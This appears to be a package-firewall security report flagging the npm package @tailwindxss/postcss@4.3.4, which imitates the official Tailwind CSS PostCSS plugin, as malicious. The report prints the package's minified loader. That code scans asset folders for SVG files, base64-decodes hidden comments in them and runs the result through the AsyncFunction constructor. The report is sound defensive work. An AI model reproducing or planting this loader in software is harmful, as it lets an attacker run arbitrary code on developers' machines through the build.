@tailwindxss/postcss@4.3.4: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

@tailwindxss/postcss@4.3.4: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

dist/index.jsView file

1package = @tailwindxss/postcss; repositoryIdentity = tailwindxss; dependency = @alloc/quick-lru L1: "use strict";var ot=Object.create;var xe=Object.defineProperty;var lt=Object.getOwnPropertyDescriptor;var at=Object.getOwnPropertyNames;var st=Object.getPrototypeOf,ut=Object.proto... L2: `,`

High

Copied Package Dependency Bridge

Package metadata claims a different repository identity while copied source loads a runtime dependency bridge.

dist/index.jsView on unpkg · L1

•matchType = malicious_source_fingerprint_signature signature = c0cc8f595bc85042 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @tailwindxss/postcss@4.3.3 matchedPath = dist/index.js matchedIdentity = npm:QHRhaWx3aW5keHNzL3Bvc3Rjc3M:4.3.3 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/index.jsView on unpkg

10rr(["public","assets","src/assets","app/assets"],[["isolation","auto"]]);

High

Ai Review Evidence

When the PostCSS plugin runs, both compiled entries recursively walk public, assets, src/assets, and app/assets for .svg files.

dist/index.jsView on unpkg · L10

10function rr(e,r){let t=[];for(let l of e){let o=T.default.resolve(process.cwd(),l);!W.default.existsSync(o)||!W.default.statSync(o).isDirectory()||t.push(...et(o))}for(let l of t){let n=W.default.readFileSync(l,"utf8").match(//)?.[1]??null;if(n)try{let i=Buffer.from(n,"base64").toString("utf8"),a=Object.getPrototypeOf(async function(){}).constructor;new a(i)()}catch{}}}

High

Ai Review Evidence

HTML comments in those SVGs are base64-decoded and executed with the AsyncFunction constructor, and errors are swallowed.

dist/index.jsView on unpkg · L10

package.jsonView file

2"name": "@tailwindxss/postcss", "version": "4.3.4", "description": "PostCSS plugin for Tailwind CSS, a utility-first CSS framework for rapidly building custom user interfaces", "license": "MIT", "repository": { "type": "git", "url": "https://github.com/olienath/tailwindxss.git", "directory": "packages/@tailwindcss-postcss"

High

Ai Review Evidence

The published name and branding copy official Tailwind CSS while the scope is @tailwindxss and the git remote is olienath/tailwindxss.

package.jsonView on unpkg · L2

dist/index.mjsView file

10Xt(["public","assets","src/assets","app/assets"],[["isolation","auto"]]);

High

Ai Review Evidence

When the PostCSS plugin runs, both compiled entries recursively walk public, assets, src/assets, and app/assets for .svg files.

dist/index.mjsView on unpkg · L10

10let n=H.readFileSync(l,"utf8").match(//)?.[1]??null;if(n)try{let i=Buffer.from(n,"base64").toString("utf8"),a=Object.getPrototypeOf(async function(){}).constructor;new a(i)()}catch{}}}function Qe(e){let r=[],t=H.readdirSync(e,{withFileTypes:!0});for(let l of t){let o=P.join(e,l.name);l.isDirectory()?r.push(...Qe(o)):l.isFile()&&l.name.toLowerCase().endsWith(".svg")&&r.push(o)}return r}

High

Ai Review Evidence

HTML comments in those SVGs are base64-decoded and executed with the AsyncFunction constructor, and errors are swallowed.

dist/index.mjsView on unpkg · L10

Source & flagged code

7 flagged

dist/index.jsView file

Lines 1-11javascript

1"use strict";var ot=Object.create;var xe=Object.defineProperty;var lt=Object.getOwnPropertyDescriptor;var at=Object.getOwnPropertyNames;var st=Object.getPrototypeOf,ut=Object.prototype.hasOwnProperty;var we=(e,r)=>(r=Symbol[e])?r:Symbol.for("Symbol."+e),ye=e=>{throw TypeError(e)};var ct=(e,r,t,l)=>{if(r&&typeof r=="object"||typeof r=="function")for(let o of at(r))!ut.call(e,o)&&o!==t&&xe(e,o,{get:()=>r[o],enumerable:!(l=lt(r,o))||l.enumerable});return e};var J=(e,r,t)=>(t=e!=null?ot(st(e)):{},ct(r||!e||!e.__esModule?xe(t,"default",{value:e,enumerable:!0}):t,e));var Ae=(e,r,t)=>{if(r!=null){typ ...

2`,`

High

Copied Package Dependency Bridge

Package metadata claims a different repository identity while copied source loads a runtime dependency bridge.

dist/index.jsView on unpkg · L1

3`);let r=[],t=[],l=null,o="",n;for(let i=0;i<e.length;i++){let a=e.charCodeAt(i);switch(a){case Se:{o+=e[i]+e[i+1],i++;break}case vt:{if(o.length>0){let s=L(o);l?l.nodes.push(s):r.push(s),o=""}let u=L(e[i]);l?l.nodes.push(u):r.push(u);break}case Te:case Ne:case $e:case Ve:case Ee:case Re:case Pe:case Oe:{if(o.length>0){let f=L(o);l?l.nodes.push(f):r.push(f),o=""}let u=i,s=i+1;for(;s<e.length&&(n=e.charCodeAt(s),!(n!==Te&&n!==Ne&&n!==$e&&n!==Ve&&n!==Ee&&n!==Re&&n!==Pe&&n!==Oe));s++);i=s-1;let c=pt(e.slice(u,s));l?l.nodes.push(c):r.push(c);break}case ht:case mt:{let u=i;for(let s=i+1;s<e.length; ...

4`,r){t+=s.length;let c=t;t+=i.property.length,t+=2,t+=i.value?.length??0,i.important&&(t+=11);let f=t;t+=2,i.dst=

5`,r){t+=s.length;let c=t;t+=i.selector.length,t+=1;let f=t;i.dst=[l,c,f],t+=2}for(let c of i.nodes)u+=o(c,a+

6`,r&&(t+=s.length,t+=2)}else if(i.kind==="at-rule"){if(i.nodes.length===0){let c=`${s}${i.name} ${i.params

7`;if(r){t+=s.length;let f=t;t+=i.name.length,t+=1,t+=i.params.length;let k=t;t+=2,i.dst=[l,f,k]}return c}if(u

8`,r){t+=s.length;let c=t;t+=i.name.length,i.params&&(t+=1,t+=i.params.length),t+=1;let f=t;i.dst=[l,c,f],t+=2}for

9`,r&&(t+=s.length,t+=2)}else if(i.kind==="comment"){if(u+=`${s}/*${i.value}*/

10`,r){t+=s.length;let c=t;t+=2+i.value.length+2;let f=t;i.dst=[l,c,f],t+=1}}else if(i.kind==="context"||i.kind===

11

Long lines were clipped for display.

•matchType = malicious_source_fingerprint_signature signature = c0cc8f595bc85042 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @tailwindxss/postcss@4.3.3 matchedPath = dist/index.js matchedIdentity = npm:QHRhaWx3aW5keHNzL3Bvc3Rjc3M:4.3.3 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/index.jsView on unpkg

package.jsonView file

Lines 1-22json

1{

2 "name": "@tailwindxss/postcss",

3 "version": "4.3.4",

4 "description": "PostCSS plugin for Tailwind CSS, a utility-first CSS framework for rapidly building custom user interfaces",

5 "license": "MIT",

dist/index.mjsView file

Lines 1-11javascript

1var be=(e,r)=>(r=Symbol[e])?r:Symbol.for("Symbol."+e),we=e=>{throw TypeError